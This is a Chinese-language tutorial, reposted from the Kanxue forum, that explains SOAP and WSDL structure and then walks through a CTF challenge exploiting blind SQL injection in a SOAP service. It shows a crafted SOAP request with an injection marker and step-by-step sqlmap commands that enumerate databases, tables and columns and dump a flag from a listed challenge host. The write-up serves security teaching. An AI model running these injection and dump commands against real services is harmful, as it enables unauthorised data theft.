SOAP注入的介绍与实战

admin 2022年11月9日13:28:37评论73 views字数 3048阅读10分9秒阅读模式

SOAP注入的介绍与实战

本文为看雪论坛优秀文章

看雪论坛作者ID:mb_tabcvksy


本文将介绍SOAP的相关内容,并结合一道CTF题目进行实战练习,帮助读者更容易掌握SOAP注入。





WebService


WebService是一种远程调用技术,实质就是一个程序向外界暴露出了一个可通过Web调用的API,传入的参数不限制就有可能导致SQL注入等漏洞的产生。它包括三个部分:XML+XSD、SOAP、WSDL。

XML+XSD:描述、表达要传输的数据。

SOAP:交换XML编码信息的轻量级协议,以XML或XSD为载体,通过HTTP发送请求和接受结果。会在HTTP基础上增加特定消息头。

WSDL:一个基于XML的描述Web Service及函数、参数和返回值的语言。





SOAP


简单来说,SOAP(Simple Object Access Protocol),简单对象访问协议,是一个可以在不同操作系统上运行的不同语言编写的应用程序之间进行传输通信的协议。

它包括四个部分:

封装:定义了一个框架,描述了消息中的内容是什么,谁应当处理它,它是可选的还是必须的。

编码规则:定义了一种序列化机制,用于交换应用程序定义的数据类型的实例。

RPC表示:定义用于表示远程过程调用和应答的协定。

SOAP绑定:约定使用底层传输协议来完成节点间交换SOAP封装。


SOAP基于HTTP协议传输,传输文本格式是XML,文档的消息结构如下:

Envelope: 将该XML文档标识为一条SOAP消息。

Header:包含头部信息。

Body:包含所有调用和响应信息。

Fault:提供处理所发生的错误的信息。


格式如下所示:
<?xml version="1.0"?><soap:Envelope    xmlns:soap="http://xxx/soap-envelope"    soap:encodingStyle="http://xxx/soap-encoding"> <soap:Header></soap:Header> <soap:Body>    <soap:Fault>    </soap:Fault></soap:Body> </soap:Envelope>

注意必须使用XML编码,Envelope、Encoding命名空间,不能包含DTD(外部实体)引用,也不包含XML处理指令。

下面将以一道CTF题目进行辅助讲解,帮助读者更好发掘SOAP注入。





CTF题目


题目链接现已更新为:http://47.103.94.191:8018/


判断SOAP


打开链接后,按照提示安装数据库完成初始化操作,进入到如下界面。
SOAP注入的介绍与实战
点击页面中的“WSDL”,查看xml文档。
SOAP注入的介绍与实战
发现xmlns.soap等关键字,判定为SOAP类型。于是可以使用AWVS扫描探测。


AWVS探测


点击Targets->Add Target->填入要探测的URL并随便填写备注->Save->默认配置,之后直接点Scan->开始扫描。
SOAP注入的介绍与实战
可以看到扫描出来了SQL注入,而且还是盲注类型。点击该漏洞,右边出现了该漏洞的详细信息,往下拉到HTTP Request。
SOAP注入的介绍与实战
点左上角的复制,将整个请求包复制下来,在桌面新建一个txt文件,命名为soap.txt。打开,粘贴,在title那里加一个*(加*是让sqlmap探测这个位置),保存。


请求包构造原理


这里解释一下该请求包后面的xml格式的内容是怎么构造出来的。
<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema">    <soap:Header />    <soap:Body>        <tns:get_tickets_stock>            <title>*</title>        </tns:get_tickets_stock>    </soap:Body></soap:Envelope>

可以发现,存在Envelope,Header,Body,但是没有Fault。要想解释清楚它是如何构造的,还需要结合原xml文档/ws_soap.php?wsdl如下所示:
SOAP注入的介绍与实战
1、首先在这个文档里面找到xsd:string类型的对应标签,发现它在一个name为title里面,那么说明这里就是注入的地方,因此请求包那才在<title></title>中间加上*。

2、然后找到这个titlt所在的标签,为message,其name为:get_tickets_stockRequest。

3、通过这个name找到调用这个message的地方,发现它在一个input标签中。

4、随后发现它在一个operation标签里,并且这个标签的name为:get_tickets_stock。

因此可得到整个流程:

在body里面,首先通过<tns:get_tickets_stock>找到operation标签,运行标签里的输入框input,就开始调用message,通过message="tns:get_tickets_stockRequest"找到对应的message标签,最后运行到title那个标签。
<tns:get_tickets_stock>    <title>*</title></tns:get_tickets_stock>

之后即可开始使用sqlmap进行注入。


sqlmap注入


1.获取数据库名
python sqlmap.py -r F:\xxx\soap.txt --batch --dbs

使用-r参数读取文件内容进行操作,后面跟的是soap.txt所在的绝对路径,--batch是在遇到选择时默认选yes,--dbs就是爆数据库名。
SOAP注入的介绍与实战
得到了几个数据库名,我们要的flag就在whalwl这个数据库名中。

2.获取数据库表名
python sqlmap.py -r F:\xxx\soap.txt --batch --tables -D "whalwl"

根据数据库名探测表名。
SOAP注入的介绍与实战
得到几个表名,很明显flag应该在this_flag表中。

3.获取数据库列名
python sqlmap.py -r F:\xxx\soap.txt --batch --columns -D "whalwl" -T "this_flag

根据数据库名和表名探测列名。
SOAP注入的介绍与实战
获取到了flag列,最后获取flag内容即可。
python sqlmap.py -r F:\xxx\soap.txt --batch --dump -D "whalwl" -T "this_flag" -C "flag"

运行即可成功得到flag。
SOAP注入的介绍与实战



参考链接:

https://mp.weixin.qq.com/s/6k4O4prW8kAuXdpwNGm-yw



SOAP注入的介绍与实战


看雪ID:mb_tabcvksy

https://bbs.pediy.com/user-home-927464.htm

*本文由看雪论坛 mb_tabcvksy 原创,转载请注明来自看雪社区

SOAP注入的介绍与实战

看雪CTF官网:https://ctf.pediy.com/



# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们



SOAP注入的介绍与实战


SOAP注入的介绍与实战

球分享

SOAP注入的介绍与实战

球点赞

SOAP注入的介绍与实战

球在看



SOAP注入的介绍与实战

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):SOAP注入的介绍与实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月9日13:28:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SOAP注入的介绍与实战https://cn-sec.com/archives/1393136.html

发表评论

匿名网友 填写信息